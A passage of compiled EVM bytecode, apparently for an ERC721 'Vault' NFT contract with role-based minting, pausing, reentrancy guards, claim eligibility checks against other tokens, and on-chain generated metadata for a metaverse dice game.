0x608060405234801561001057600080fd5b50600436106102955760003560e01c8063715018a611610167578063b88d4fde116100ce578063d547741f11610087578063d547741f1461053f578063d54ad2a114610552578063da1c41181461055a578063e63ab1e91461056d578063e985e9c514610575578063f2fde38b1461058857610295565b8063b88d4fde146104ee578063c87b56dd14610501578063ca15c87314610514578063cae8427514610527578063d1cd5c2a1461052f578063d53913931461053757610295565b806391d148541161012057806391d148541461049257806392929a09146104a557806395d89b41146104b85780639a19299f146104c0578063a217fddf146104d3578063a22cb465146104db57610295565b8063715018a61461044157806372ef7beb146104495780638456cb591461045c5780638aa3b933146104645780638da5cb5b146104775780639010d07c1461047f57610295565b806333bc686d1161020b57806342966c68116101c457806342966c68146103e55780634f6ccce7146103f85780635c975abb1461040b5780636352211e14610413578063672756ad1461042657806370a082311461042e57610295565b806333bc686d14610394578063340cf0d21461039c57806336568abe146103a457806336ba3bd3146103b75780633f4ba83a146103ca57806342842e0e146103d257610295565b806318160ddd1161025d57806318160ddd1461032057806323b872dd146103355780632463a55a14610348578063248a9ca31461035b5780632f2ff15d1461036e5780632f745c591461038157610295565b806301ffc9a71461029a57806306fdde03146102c3578063081812fc146102d8578063095ea7b3146102f857806309ebea0e1461030d575b600080fd5b6102ad6102a8366004613230565b61059b565b6040516102ba9190613988565b60405180910390f35b6102cb6105ae565b6040516102ba919061399c565b6102eb6102e63660046131d5565b610640565b6040516102ba9190613941565b61030b610306366004613192565b61068c565b005b6102cb61031b3660046131d5565b610724565b61032861074a565b6040516102ba9190613993565b61030b6103433660046130b5565b610751565b61030b610356366004613042565b610789565b6103286103693660046131d5565b610825565b61030b61037c3660046131ed565b61083a565b61032861038f366004613192565b61085c565b6103286108b2565b6103286108b9565b61030b6103b23660046131ed565b6108c0565b6102cb6103c53660046131d5565b6108e2565b61030b610903565b61030b6103e03660046130b5565b610955565b61030b6103f33660046131d5565b610970565b6103286104063660046131d5565b6109a3565b6102ad6109ff565b6102eb6104213660046131d5565b610a09565b61030b610a3e565b61032861043c366004612ff6565b610fbb565b61030b610fff565b6103286104573660046131d5565b611048565b61030b61105b565b61030b610472366004613280565b6110ab565b6102eb611112565b6102eb61048d36600461320f565b611121565b6102ad6104a03660046131ed565b611140565b61030b6104b33660046131bb565b61116b565b6102cb6111a6565b6102cb6104ce3660046131d5565b6111b5565b6103286111d6565b61030b6104e9366004613169565b6111db565b61030b6104fc3660046130f0565b6112aa565b6102cb61050f3660046131d5565b6112e9565b6103286105223660046131d5565b6114b4565b6103286114cb565b6103286114d2565b6103286114d9565b61030b61054d3660046131ed565b6114fd565b610328611507565b6102cb6105683660046131d5565b61150e565b61032861152f565b6102ad610583366004613010565b611553565b61030b610596366004612ff6565b611582565b60006105a6826115f0565b90505b919050565b606060fb80546105bd90614227565b80601f01602080910402602001604051908101604052809291908181526020018280546105e990614227565b80156106365780601f1061060b57610100808354040283529160200191610636565b820191906000526020600020905b81548152906001019060200180831161061957829003601f168201915b5050505050905090565b600061064b82611615565b6106705760405162461bcd60e51b815260040161066790613e45565b60405180910390fd5b50600090815260ff60205260409020546001600160a01b031690565b600061069782610a09565b9050806001600160a01b0316836001600160a01b031614156106cb5760405162461bcd60e51b815260040161066790613f3c565b806001600160a01b03166106dd611632565b6001600160a01b031614806106f957506106f981610583611632565b6107155760405162461bcd60e51b815260040161066790613ce9565b61071f8383611636565b505050565b60008181526102646020526040812054606091610743919080806116a4565b5092915050565b61012f5490565b61076261075c611632565b82611c1e565b61077e5760405162461bcd60e51b815260040161066790613f7d565b61071f838383611ca3565b610794600033611140565b6107b05760405162461bcd60e51b815260040161066790613b77565b61022880546001600160a01b03199081166001600160a01b0398891617909155610229805482169688169690961790955561022a805486169487169490941790935561022b805485169286169290921790915561022c8054841691851691909117905561022d80549092169216919091179055565b60009081526097602052604090206001015490565b6108448282611dd0565b600082815260c96020526040902061071f9082611df4565b600061086783610fbb565b82106108855760405162461bcd60e51b815260040161066790613a5d565b506001600160a01b038216600090815261012d602090815260408083208484529091529020545b92915050565b6102605481565b6102635481565b6108ca8282611e09565b600082815260c96020526040902061071f9082611e4f565b600081815261026460205260408120546060916107439190600290806116a4565b61092f7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a6104a0611632565b61094b5760405162461bcd60e51b8152600401610667906140a1565b610953611e64565b565b61071f838383604051806020016040528060008152506112aa565b61097b61075c611632565b6109975760405162461bcd60e51b815260040161066790614051565b6109a081611ed3565b50565b60006109ad61074a565b82106109cb5760405162461bcd60e51b815260040161066790613fce565b61012f82815481106109ed57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b6101915460ff1690565b600081815260fd60205260408120546001600160a01b0316806105a65760405162461bcd60e51b815260040161066790613d90565b60026101f5541415610a625760405162461bcd60e51b81526004016106679061401a565b60026101f55561026d5460ff16610a8b5760405162461bcd60e51b8152600401610667906140ff565b61270f610a9961022e611f7a565b10610ab65760405162461bcd60e51b815260040161066790613ec6565b610228546040516370a0823160e01b815260009182916001600160a01b03909116906370a0823190610aec903390600401613941565b60206040518083038186803b158015610b0457600080fd5b505afa158015610b18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3c9190613268565b118015610b4d5750610fa061026054105b15610b6d575061026054600190610b649082614182565b61026055610f33565b610229546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610b9f903390600401613941565b60206040518083038186803b158015610bb757600080fd5b505afa158015610bcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bef9190613268565b118015610c0057506107d061026154105b15610c20575061026154600190610c179082614182565b61026155610f33565b61022a546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610c52903390600401613941565b60206040518083038186803b158015610c6a57600080fd5b505afa158015610c7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca29190613268565b118015610cb357506107d061026254105b15610cd3575061026254600190610cca9082614182565b61026255610f33565b61022d5460405163f656dca160e01b81526000916001600160a01b03169063f656dca190610d05903390600401613941565b604080518083038186803b158015610d1c57600080fd5b505afa158015610d30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5491906132d8565b5061022d54604051634165f01760e01b81529192506000916001600160a01b0390911690634165f01790610d8c903390600401613941565b604080518083038186803b158015610da357600080fd5b505afa158015610db7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddb91906132d8565b5061022b546040516370a0823160e01b81529192506000916001600160a01b03909116906370a0823190610e13903390600401613941565b60206040518083038186803b158015610e2b57600080fd5b505afa158015610e3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e639190613268565b1180610eee575061022c546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610e9c903390600401613941565b60206040518083038186803b158015610eb457600080fd5b505afa158015610ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eec9190613268565b115b80610ef95750600082115b80610f045750600081115b8015610f1457506103e761026354105b15610f30576102635460019350610f2b9084614182565b610263555b50505b80610f505760405162461bcd60e51b815260040161066790613e0e565b610f58611f7e565b6102646000610f6861022e611f7a565b8152602081019190915260400160002055610f94610f84611632565b610f8f61022e611f7a565b612056565b610f9f61022e612070565b61025f54610fae906001614182565b61025f555060016101f555565b60006001600160a01b038216610fe35760405162461bcd60e51b815260040161066790613d46565b506001600160a01b0316600090815260fe602052604090205490565b611007611632565b6001600160a01b0316611018611112565b6001600160a01b03161461103e5760405162461bcd60e51b815260040161066790613e91565b6109536000612079565b6102646020526000908152604090205481565b6110877f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a6104a0611632565b6110a35760405162461bcd60e51b815260040161066790613b9b565b6109536120cb565b6110b6600033611140565b6110d25760405162461bcd60e51b815260040161066790613b77565b8061026583815481106110f557634e487b7160e01b600052603260045260246000fd5b90600052602060002001908051906020019061071f929190612e9f565b6033546001600160a01b031690565b600082815260c9602052604081206111399083612127565b9392505050565b60009182526097602090815260408084206001600160a01b0393909316845291905290205460ff1690565b611176600033611140565b6111925760405162461bcd60e51b815260040161066790613b77565b61026d805460ff1916911515919091179055565b606060fc80546105bd90614227565b600081815261026460205260408120546060916107439190600390806116a4565b600081565b6111e3611632565b6001600160a01b0316826001600160a01b031614156112145760405162461bcd60e51b815260040161066790613c3c565b806101006000611222611632565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155611266611632565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161129e9190613988565b60405180910390a35050565b6112bb6112b5611632565b83611c1e565b6112d75760405162461bcd60e51b815260040161066790613f7d565b6112e384848484612133565b50505050565b60008181526102646020526040902054606090611304612f23565b600060405180610100016040528060e081526020016142ea60e09139825260146113328460006001846116a4565b60208501919091529150611347826001614182565b6113529060146141ae565b61135c9082614182565b905061136b84600180846116a4565b60408501919091529150611380826001614182565b61138b9060146141ae565b6113959082614182565b90506113a58460026001846116a4565b606085019190915291506113ba826001614182565b6113c59060146141ae565b6113cf9082614182565b90506113df8460036001846116a4565b6080850191825260408051808201825260068152651e17b9bb339f60d11b60208083019190915260a08801829052875181890151848a015160608b01519751955196995060009761143897939692959194909301613418565b6040516020818303038152906040529050600061148561145787612166565b61146084612281565b604051602001611471929190613679565b604051602081830303815290604052612281565b9050806040516020016114989190613887565b60408051808303601f1901815291905298975050505050505050565b600081815260c9602052604081206105a6906123f5565b6102625481565b6102615481565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b6108ca8282612400565b61025f5481565b600081815261026460205260408120546060916107439190600190806116a4565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b6001600160a01b0391821660009081526101006020908152604080832093909416825291909152205460ff1690565b61158a611632565b6001600160a01b031661159b611112565b6001600160a01b0316146115c15760405162461bcd60e51b815260040161066790613e91565b6001600160a01b0381166115e75760405162461bcd60e51b815260040161066790613afa565b6109a081612079565b60006001600160e01b0319821663780e9d6360e01b14806105a657506105a68261241f565b600090815260fd60205260409020546001600160a01b0316151590565b3390565b600081815260ff6020526040902080546001600160a01b0319166001600160a01b038416908117909155819061166b82610a09565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6060600081856116d3575060408051808201909152600881526742414e4b4e414d4560c01b6020820152611753565b6001861415611700575060408051808201909152600781526626a0a720a3a2a960c91b6020820152611753565b600286141561172a57506040805180820190915260048152632a24a2a960e11b6020820152611753565b600386141561175357506040805180820190915260078152664143435459504560c81b60208201525b60008161175f89612166565b6040516020016117709291906133e9565b6040516020818303038152906040528051906020012060001c905060009250606060028814156118615761026980546117a9908461427d565b815481106117c757634e487b7160e01b600052603260045260246000fd5b9060005260206000200180546117dc90614227565b80601f016020809104026020016040519081016040528092919081815260200182805461180890614227565b80156118555780601f1061182a57610100808354040283529160200191611855565b820191906000526020600020905b81548152906001019060200180831161183857829003601f168201915b50505050509050611bde565b60038814156118795761026a80546117a9908461427d565b600061188660158461427d565b90508861195457610265805461189c908561427d565b815481106118ba57634e487b7160e01b600052603260045260246000fd5b9060005260206000200180546118cf90614227565b80601f01602080910402602001604051908101604052809291908181526020018280546118fb90614227565b80156119485780601f1061191d57610100808354040283529160200191611948565b820191906000526020600020905b81548152906001019060200180831161192b57829003601f168201915b50505050509150611a24565b6001891415611a24576102675461196d906003906141cd565b6102675461197b908561427d565b1061198f57610267805461189c908561427d565b610267805461199e908561427d565b815481106119bc57634e487b7160e01b600052603260045260246000fd5b906000526020600020016102688080549050856119d9919061427d565b815481106119f757634e487b7160e01b600052603260045260246000fd5b90600052602060002001604051602001611a12929190613554565b60405160208183030381529060405291505b60138110611aef578060131415611a945761026b8054611a44908561427d565b81548110611a6257634e487b7160e01b600052603260045260246000fd5b9060005260206000200182604051602001611a7e9291906135ef565b6040516020818303038152906040529150611aef565b61026b8054611aa3908561427d565b81548110611ac157634e487b7160e01b600052603260045260246000fd5b9060005260206000200182604051602001611add92919061362c565b60405160208183030381529060405291505b600f811115611bdc578715611b7f576001945081611b20611b118760146141ae565b611b1b908a614182565b612166565b61026c8054611b2f908761427d565b81548110611b4d57634e487b7160e01b600052603260045260246000fd5b90600052602060002001604051602001611b69939291906134cf565b6040516020818303038152906040529150611bdc565b61026c8054839190611b91908661427d565b81548110611baf57634e487b7160e01b600052603260045260246000fd5b90600052602060002001604051602001611bca929190613497565b60405160208183030381529060405291505b505b8615611c1157611bed86612166565b81604051602001611bff929190613574565b60405160208183030381529060405290505b9350505094509492505050565b6000611c2982611615565b611c455760405162461bcd60e51b815260040161066790613c73565b6000611c5083610a09565b9050806001600160a01b0316846001600160a01b03161480611c8b5750836001600160a01b0316611c8084610640565b6001600160a01b0316145b80611c9b5750611c9b8185611553565b949350505050565b826001600160a01b0316611cb682610a09565b6001600160a01b031614611cdc5760405162461bcd60e51b815260040161066790613ef3565b6001600160a01b038216611d025760405162461bcd60e51b815260040161066790613bf8565b611d0d83838361245f565b611d18600082611636565b6001600160a01b038316600090815260fe60205260408120805460019290611d419084906141cd565b90915550506001600160a01b038216600090815260fe60205260408120805460019290611d6f908490614182565b9091555050600081815260fd602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b611dd982610825565b611dea81611de5611632565b61246a565b61071f83836124ce565b6000611139836001600160a01b038416612555565b611e11611632565b6001600160a01b0316816001600160a01b031614611e415760405162461bcd60e51b815260040161066790614127565b611e4b828261259f565b5050565b6000611139836001600160a01b038416612624565b611e6c6109ff565b611e885760405162461bcd60e51b815260040161066790613a2f565b610191805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa611ebc611632565b604051611ec99190613941565b60405180910390a1565b6000611ede82610a09565b9050611eec8160008461245f565b611ef7600083611636565b6001600160a01b038116600090815260fe60205260408120805460019290611f209084906141cd565b9091555050600082815260fd602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b5490565b610227546040516301f7b4f360e41b815260009182916001916001600160a01b031690631f7b4f3090611fb7906103e890600401613993565b60206040518083038186803b158015611fcf57600080fd5b505afa158015611fe3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120079190613268565b61201191906141cd565b9050600061202061022e611f7a565b61202d83620f42406141ae565b61203b43633b9aca006141ae565b6120459190614182565b61204f9190614182565b9250505090565b611e4b828260405180602001604052806000815250612741565b80546001019055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6120d36109ff565b156120f05760405162461bcd60e51b815260040161066790613cbf565b610191805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611ebc611632565b60006111398383612774565b61213e848484611ca3565b61214a848484846127ac565b6112e35760405162461bcd60e51b815260040161066790613aa8565b60608161218b57506040805180820190915260018152600360fc1b60208201526105a9565b8160005b81156121b5578061219f81614262565b91506121ae9050600a8361419a565b915061218f565b60008167ffffffffffffffff8111156121de57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612208576020820181803683370190505b5090505b8415611c9b5761221d6001836141cd565b915061222a600a8661427d565b612235906030614182565b60f81b81838151811061225857634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535061227a600a8661419a565b945061220c565b8051606090806122a15750506040805160208101909152600081526105a9565b600060036122b0836002614182565b6122ba919061419a565b6122c59060046141ae565b905060006122d4826020614182565b67ffffffffffffffff8111156122fa57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612324576020820181803683370190505b50905060006040518060600160405280604081526020016143ca604091399050600181016020830160005b868110156123b0576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b83526004909201910161234f565b5060038606600181146123ca57600281146123db576123e7565b613d3d60f01b6001198301526123e7565b603d60f81b6000198301525b505050918152949350505050565b60006105a682611f7a565b61240982610825565b61241581611de5611632565b61071f838361259f565b60006001600160e01b031982166380ac58cd60e01b148061245057506001600160e01b03198216635b5e139f60e01b145b806105a657506105a6826128c7565b61071f8383836128ec565b6124748282611140565b611e4b5761248c816001600160a01b0316601461291c565b61249783602061291c565b6040516020016124a89291906138cc565b60408051601f198184030181529082905262461bcd60e51b82526106679160040161399c565b6124d88282611140565b611e4b5760008281526097602090815260408083206001600160a01b03851684529091529020805460ff19166001179055612511611632565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60006125618383612ace565b612597575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556108ac565b5060006108ac565b6125a98282611140565b15611e4b5760008281526097602090815260408083206001600160a01b03851684529091529020805460ff191690556125e0611632565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b600081815260018301602052604081205480156127375760006126486001836141cd565b855490915060009061265c906001906141cd565b90508181146126dd57600086600001828154811061268a57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050808760000184815481106126bb57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600188019052604090208390555b85548690806126fc57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506108ac565b60009150506108ac565b61274b8383612ae6565b61275860008484846127ac565b61071f5760405162461bcd60e51b815260040161066790613aa8565b600082600001828154811061279957634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b60006127c0846001600160a01b0316612bc5565b156128bc57836001600160a01b031663150b7a026127dc611632565b8786866040518563ffffffff1660e01b81526004016127fe9493929190613955565b602060405180830381600087803b15801561281857600080fd5b505af1925050508015612848575060408051601f3d908101601f191682019092526128459181019061324c565b60015b6128a2573d808015612876576040519150601f19603f3d011682016040523d82523d6000602084013e61287b565b606091505b50805161289a5760405162461bcd60e51b815260040161066790613aa8565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611c9b565b506001949350505050565b60006001600160e01b03198216635a05180f60e01b14806105a657506105a682612bcb565b6128f7838383612bf0565b6128ff6109ff565b1561071f5760405162461bcd60e51b8152600401610667906139e4565b6060600061292b8360026141ae565b612936906002614182565b67ffffffffffffffff81111561295c57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612986576020820181803683370190505b509050600360fc1b816000815181106129af57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b816001815181106129ec57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506000612a108460026141ae565b612a1b906001614182565b90505b6001811115612aaf576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110612a5d57634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110612a8157634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93612aa881614210565b9050612a1e565b5083156111395760405162461bcd60e51b8152600401610667906139af565b60009081526001919091016020526040902054151590565b6001600160a01b038216612b0c5760405162461bcd60e51b815260040161066790613dd9565b612b1581611615565b15612b325760405162461bcd60e51b815260040161066790613b40565b612b3e6000838361245f565b6001600160a01b038216600090815260fe60205260408120805460019290612b67908490614182565b9091555050600081815260fd602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b60006001600160e01b03198216637965db0b60e01b14806105a657506105a682612c79565b612bfb83838361071f565b6001600160a01b038316612c1757612c1281612c92565b612c3a565b816001600160a01b0316836001600160a01b031614612c3a57612c3a8382612cd8565b6001600160a01b038216612c5657612c5181612d7a565b61071f565b826001600160a01b0316826001600160a01b03161461071f5761071f8282612e59565b6001600160e01b031981166301ffc9a760e01b14919050565b61012f8054600083815261013060205260408120829055600182018355919091527f232da9e50dad2971456a78fb5cd6ff6b75019984d6e918139ce990999420f9790155565b60006001612ce584610fbb565b612cef91906141cd565b600083815261012e6020526040902054909150808214612d45576001600160a01b038416600090815261012d60209081526040808320858452825280832054848452818420819055835261012e90915290208190555b50600091825261012e602090815260408084208490556001600160a01b03909416835261012d81528383209183525290812055565b61012f54600090612d8d906001906141cd565b6000838152610130602052604081205461012f8054939450909284908110612dc557634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508061012f8381548110612df557634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152610130909152604080822084905585825281205561012f805480612e3d57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000612e6483610fbb565b6001600160a01b03909316600090815261012d60209081526040808320868452825280832085905593825261012e9052919091209190915550565b828054612eab90614227565b90600052602060002090601f016020900481019282612ecd5760008555612f13565b82601f10612ee657805160ff1916838001178555612f13565b82800160010185558215612f13579182015b82811115612f13578251825591602001919060010190612ef8565b50612f1f929150612f4a565b5090565b6040518060c001604052806006905b6060815260200190600190039081612f325790505090565b5b80821115612f1f5760008155600101612f4b565b600067ffffffffffffffff80841115612f7a57612f7a6142bd565b604051601f8501601f191681016020018281118282101715612f9e57612f9e6142bd565b604052848152915081838501861015612fb657600080fd5b8484602083013760006020868301015250509392505050565b80356001600160a01b03811681146105a957600080fd5b803580151581146105a957600080fd5b600060208284031215613007578081fd5b61113982612fcf565b60008060408385031215613022578081fd5b61302b83612fcf565b915061303960208401612fcf565b90509250929050565b60008060008060008060c0878903121561305a578182fd5b61306387612fcf565b955061307160208801612fcf565b945061307f60408801612fcf565b935061308d60608801612fcf565b925061309b60808801612fcf565b91506130a960a08801612fcf565b90509295509295509295565b6000806000606084860312156130c9578283fd5b6130d284612fcf565b92506130e060208501612fcf565b9150604084013590509250925092565b60008060008060808587031215613105578384fd5b61310e85612fcf565b935061311c60208601612fcf565b925060408501359150606085013567ffffffffffffffff81111561313e578182fd5b8501601f8101871361314e578182fd5b61315d87823560208401612f5f565b91505092959194509250565b6000806040838503121561317b578182fd5b61318483612fcf565b915061303960208401612fe6565b600080604083850312156131a4578182fd5b6131ad83612fcf565b946020939093013593505050565b6000602082840312156131cc578081fd5b61113982612fe6565b6000602082840312156131e6578081fd5b5035919050565b600080604083850312156131ff578182fd5b8235915061303960208401612fcf565b60008060408385031215613221578182fd5b50508035926020909101359150565b600060208284031215613241578081fd5b8135611139816142d3565b60006020828403121561325d578081fd5b8151611139816142d3565b600060208284031215613279578081fd5b5051919050565b60008060408385031215613292578182fd5b82359150602083013567ffffffffffffffff8111156132af578182fd5b8301601f810185136132bf578182fd5b6132ce85823560208401612f5f565b9150509250929050565b600080604083850312156132ea578182fd5b505080516020909101519092909150565b600081518084526133138160208601602086016141e4565b601f01601f19169290920160200192915050565b600081516133398185602086016141e4565b9290920192915050565b80546000906002810460018083168061335d57607f831692505b602080841082141561337d57634e487b7160e01b86526022600452602486fd5b81801561339157600181146133a2576133cf565b60ff198616895284890196506133cf565b6133ab88614176565b60005b868110156133c75781548b8201529085019083016133ae565b505084890196505b50505050505092915050565b61227d60f01b815260020190565b600083516133fb8184602088016141e4565b83519083019061340f8183602088016141e4565b01949350505050565b60008751602061342b8285838d016141e4565b88519184019161343e8184848d016141e4565b88519201916134508184848c016141e4565b87519201916134628184848b016141e4565b86519201916134748184848a016141e4565b855192019161348681848489016141e4565b919091019998505050505050505050565b600083516134a98184602088016141e4565b65010333937b6960d51b9083019081526134c66006820185613343565b95945050505050565b600084516134e18184602089016141e4565b7f3c2f746578743e3c7465787420783d2231302220793d22000000000000000000908301908152845161351b8160178401602089016141e4565b730111031b630b9b99e913130b9b2911f333937b6960651b6017929091019182015261354a602b820185613343565b9695505050505050565b60006135608285613343565b600160fd1b81526134c66001820185613343565b6f1e3a32bc3a103c1e91189811103c9e9160811b815282516000906135a08160108501602088016141e4565b6e111031b630b9b99e913130b9b2911f60891b60109184019182015283516135cf81601f8401602088016141e4565b661e17ba32bc3a1f60c91b601f9290910191820152602601949350505050565b601160f91b815260006136056001830185613343565b61011160f51b815283516136208160028401602088016141e4565b01600201949350505050565b601160f91b815260006136426001830185613343565b61011160f51b8152835161365d8160028401602088016141e4565b62202b3160e81b60029290910191820152600501949350505050565b727b226e616d65223a20224163636f756e74202360681b815282516000906136a88160138501602088016141e4565b7f222c20226465736372697074696f6e223a2022457665727920616476656e74756013918401918201527f726572206e656564732061207361666520706c61636520666f7220746865697260338201527f206561726e696e677320696e204d65746176657273652e205661756c7473206160538201527f72652072616e646f6d697a6564206163636f756e74732067656e65726174656460738201527f20616e642073746f726564206f6e20636861696e2e20427574205661756c747360938201527f20617265206d6f7265207468616e204e4654732e204f6e63652061206461792060b38201527f5661756c74206f776e6572732063616e20726f6c6c20646963652e204576657260d38201527f79207765656b2c20746865207661756c7420776974682074686520686967686560f38201527f73742073636f7265206765747320746f206f70656e20746865207661756c74206101138201527f616e6420636c61696d20746865207072697a652e20546865206d65746167616d6101338201527f6520696e206d65746176657273652e222c2022696d616765223a202264617461610153820152750e9a5b5859d94bdcdd99cade1b5b0ed8985cd94d8d0b60521b6101738201526134c6613882610189830186613327565b6133db565b60007f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000825282516138bf81601d8501602087016141e4565b91909101601d0192915050565b60007f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000825283516139048160178501602088016141e4565b7001034b99036b4b9b9b4b733903937b6329607d1b60179184019182015283516139358160288401602088016141e4565b01602801949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061354a908301846132fb565b901515815260200190565b90815260200190565b60006020825261113960208301846132fb565b6020808252818101527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604082015260600190565b6020808252602b908201527f4552433732315061757361626c653a20746f6b656e207472616e73666572207760408201526a1a1a5b19481c185d5cd95960aa1b606082015260800190565b60208082526014908201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604082015260600190565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b6020808252600a908201526961646d696e206f6e6c7960b01b604082015260600190565b6020808252603e908201527f4552433732315072657365744d696e7465725061757365724175746f49643a2060408201527f6d75737420686176652070617573657220726f6c6520746f2070617573650000606082015260800190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b60208082526018908201527f636c61696d20636f6e646974696f6e73206e6f74206d65740000000000000000604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526013908201527218db185a5b481b1a5b5a5d081c995858da1959606a1b604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60208082526030908201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760408201526f1b995c881b9bdc88185c1c1c9bdd995960821b606082015260800190565b602080825260409082018190527f4552433732315072657365744d696e7465725061757365724175746f49643a20908201527f6d75737420686176652070617573657220726f6c6520746f20756e7061757365606082015260800190565b6020808252600e908201526d18db185a5b48191a5cd8589b195960921b604082015260600190565b6020808252602f908201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560408201526e103937b632b9903337b91039b2b63360891b606082015260800190565b60009081526020902090565b6000821982111561419557614195614291565b500190565b6000826141a9576141a96142a7565b500490565b60008160001904831182151516156141c8576141c8614291565b500290565b6000828210156141df576141df614291565b500390565b60005b838110156141ff5781810151838201526020016141e7565b838111156112e35750506000910152565b60008161421f5761421f614291565b506000190190565b60028104600182168061423b57607f821691505b6020821081141